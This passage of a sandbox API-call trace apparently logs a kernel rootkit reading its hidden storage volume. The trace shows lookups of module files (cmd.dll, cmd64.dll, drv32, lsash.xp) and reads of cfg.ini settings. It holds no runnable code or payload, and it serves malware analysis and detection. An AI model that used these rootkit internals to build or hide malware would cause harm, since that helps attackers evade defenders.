_Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.037] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.037] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.037] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.037] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.037] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.037] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.037] KeLeaveCriticalRegion () [0126.037] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.037] ReleaseMutex (hMutex=0x100) returned 1 [0126.037] Sleep (dwMilliseconds=0x2bf20) [0126.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e537dd0, dwHighDateTime=0x1d24fa4)) [0126.044] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.044] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.044] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.044] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.044] KeEnterCriticalRegion () [0126.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.044] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.044] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.044] IdePortDispatch () returned 0x103 [0126.044] KeWaitForMutexObject () returned 0x0 [0126.044] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.044] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.044] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.044] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.044] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.044] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003675720 [0126.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.044] KeLeaveCriticalRegion () [0126.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.044] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.044] KeEnterCriticalRegion () [0126.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.044] KeLeaveCriticalRegion () [0126.044] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.044] KeEnterCriticalRegion () [0126.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.045] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.045] IdePortDispatch () returned 0x103 [0126.045] KeWaitForMutexObject () returned 0x0 [0126.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.045] KeLeaveCriticalRegion () [0126.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.045] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.045] KeEnterCriticalRegion () [0126.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.045] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de4000 [0126.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.045] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.045] IdePortDispatch () returned 0x103 [0126.045] KeWaitForMutexObject () returned 0x0 [0126.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.045] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.045] IdePortDispatch () returned 0x103 [0126.045] KeWaitForMutexObject () returned 0x0 [0126.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.046] KeLeaveCriticalRegion () [0126.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.046] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.046] KeEnterCriticalRegion () [0126.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.046] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.046] KeLeaveCriticalRegion () [0126.046] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.046] KeEnterCriticalRegion () [0126.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.046] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.046] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.046] KeLeaveCriticalRegion () [0126.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.046] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.046] KeEnterCriticalRegion () [0126.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.046] ExFreePoolWithTag (P=0xfffffa8003675720, Tag=0x0) [0126.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.046] KeLeaveCriticalRegion () [0126.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.046] ReleaseMutex (hMutex=0xf0) returned 1 [0126.046] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.047] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.047] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.047] KeEnterCriticalRegion () [0126.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.047] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.047] IdePortDispatch () returned 0x103 [0126.047] KeWaitForMutexObject () returned 0x0 [0126.047] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.047] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.047] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.047] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.047] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.047] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7530 [0126.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.047] KeLeaveCriticalRegion () [0126.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.047] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.047] KeEnterCriticalRegion () [0126.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.047] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.047] KeLeaveCriticalRegion () [0126.047] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.048] KeEnterCriticalRegion () [0126.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.048] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.048] IdePortDispatch () returned 0x103 [0126.048] KeWaitForMutexObject () returned 0x0 [0126.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.048] KeLeaveCriticalRegion () [0126.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.048] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.048] KeEnterCriticalRegion () [0126.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.048] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de5000 [0126.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.048] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.048] IdePortDispatch () returned 0x103 [0126.048] KeWaitForMutexObject () returned 0x0 [0126.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.048] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.048] IdePortDispatch () returned 0x103 [0126.048] KeWaitForMutexObject () returned 0x0 [0126.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.049] KeLeaveCriticalRegion () [0126.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.049] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.049] KeEnterCriticalRegion () [0126.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.049] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.049] KeLeaveCriticalRegion () [0126.049] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.049] KeEnterCriticalRegion () [0126.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.049] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.049] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.049] KeLeaveCriticalRegion () [0126.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.049] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.049] KeEnterCriticalRegion () [0126.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.049] ExFreePoolWithTag (P=0xfffffa800c4f7530, Tag=0x0) [0126.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.049] KeLeaveCriticalRegion () [0126.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.050] ReleaseMutex (hMutex=0xf0) returned 1 [0126.050] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.050] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.050] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.050] KeEnterCriticalRegion () [0126.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.050] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.050] IdePortDispatch () returned 0x103 [0126.050] KeWaitForMutexObject () returned 0x0 [0126.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.050] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.050] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.050] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.050] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.050] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d9ce0 [0126.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.050] KeLeaveCriticalRegion () [0126.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.050] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.050] KeEnterCriticalRegion () [0126.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.050] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.050] KeLeaveCriticalRegion () [0126.050] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.050] KeEnterCriticalRegion () [0126.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.050] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.050] IdePortDispatch () returned 0x103 [0126.051] KeWaitForMutexObject () returned 0x0 [0126.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.051] KeLeaveCriticalRegion () [0126.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.051] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.051] KeEnterCriticalRegion () [0126.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.051] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de6000 [0126.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.051] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.051] IdePortDispatch () returned 0x103 [0126.051] KeWaitForMutexObject () returned 0x0 [0126.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.051] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.051] IdePortDispatch () returned 0x103 [0126.051] KeWaitForMutexObject () returned 0x0 [0126.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.051] KeLeaveCriticalRegion () [0126.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.052] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.052] KeEnterCriticalRegion () [0126.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.052] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.052] KeLeaveCriticalRegion () [0126.052] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.052] KeEnterCriticalRegion () [0126.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.052] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.052] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dc3a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.052] KeLeaveCriticalRegion () [0126.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.052] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.052] KeEnterCriticalRegion () [0126.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.052] ExFreePoolWithTag (P=0xfffffa80037d9ce0, Tag=0x0) [0126.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.052] KeLeaveCriticalRegion () [0126.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.052] ReleaseMutex (hMutex=0xf0) returned 1 [0126.052] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.052] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.052] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.052] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.053] KeEnterCriticalRegion () [0126.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.053] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: 